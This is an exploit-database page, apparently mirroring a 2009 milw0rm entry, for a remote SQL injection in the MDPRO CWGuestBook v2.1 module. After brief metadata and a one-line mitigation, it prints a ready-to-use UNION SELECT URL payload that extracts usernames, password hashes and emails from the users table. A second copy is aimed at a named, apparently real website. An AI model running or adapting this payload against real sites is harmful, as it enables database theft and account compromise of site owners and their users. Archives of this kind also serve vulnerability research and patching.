[0-Day] MDPRO CWGuestBook - exploit.company

vendor:

CWGuestBook

by:

Dante90, WaRWolFz Crew

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: CWGuestBook

Affected Version From: v2.1

Affected Version To: v2.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90

MDPRO CWGuestBook is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to the database and execute arbitrary SQL queries.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

######################################################################################
#                                                                                    #
# Author: Dante90, WaRWolFz Crew                                                     #
# Title: [0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90       #
# MSN: dante90.dmc4@hotmail.it                                                       #
# Web: www.warwolfz.org                                                              #
#                                                                                    #
######################################################################################

[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90

[code]
http://www.victime_site.org/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

Example:
[code]
http://www.lacinium.com/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

# milw0rm.com [2009-06-30]